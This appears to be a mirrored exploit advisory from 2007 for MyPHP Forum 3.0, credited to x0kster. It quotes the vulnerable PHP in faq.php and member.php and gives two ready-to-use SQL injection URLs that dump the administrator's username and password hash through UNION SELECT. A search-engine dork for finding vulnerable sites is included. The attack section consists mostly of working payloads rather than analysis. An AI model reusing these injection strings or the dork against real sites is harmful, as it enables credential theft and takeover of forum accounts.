Lucene search
K

MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

MyPHP Forum <= 3.0 (Final) SQL Injection Vulnerabilitie

Code

                                                Name            :  MyPHP Forum &#60;= 3.0 (Final) Multiple Remote SQL Injection Vulnerability
Author          :  x0kster
Email           :  [email protected]
Site            :  ihteam.net
Script Download :  http://www.myphp.ws/
Date            :  31/12/2007
Dork            :  &#34;Powered by: MyPHP Forum&#34;

Note: 
For work, magic_quotes_gpc must be turned off on the server.
Usally the table prefix is &#39;nb&#39;.



Sql injection in faq.php

   &#60;?php
    //faq.php
    [...]
    $id = $_GET[&#39;id&#39;];
    if($action == &#34;view&#34; && !empty($id)) {
	$result = mysql_query(&#34;SELECT * from $db_faq WHERE id=&#39;$id&#39;&#34;) or die(mysql_error()); // &#60;-- So miss a control :-D
	$row = mysql_fetch_array($result);
	$row[answer] = postify($row[answer]);
    [...]
   ?&#62;

So we can execute an sql injection thrught the bugged variable $id.

PoC:

http://Site/faq.php?action=view&id=-1&#39;+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*




Sql injection in member.php

   &#60;?php
    //member.php
   [...]
    if($action == &#34;viewpro&#34;) {
	$member = $HTTP_GET_VARS[&#39;member&#39;];
	$query = mysql_query(&#34;SELECT * FROM $db_member WHERE username=&#39;$member&#39;&#34;) or die(mysql_error());
   [...]
   ?&#62;

So $member variable isn&#39;t controlled so we can exploit it.

PoC:

http://Site/member.php?action=viewpro&member=-1&#39;+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*

# milw0rm.com [2007-12-31]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation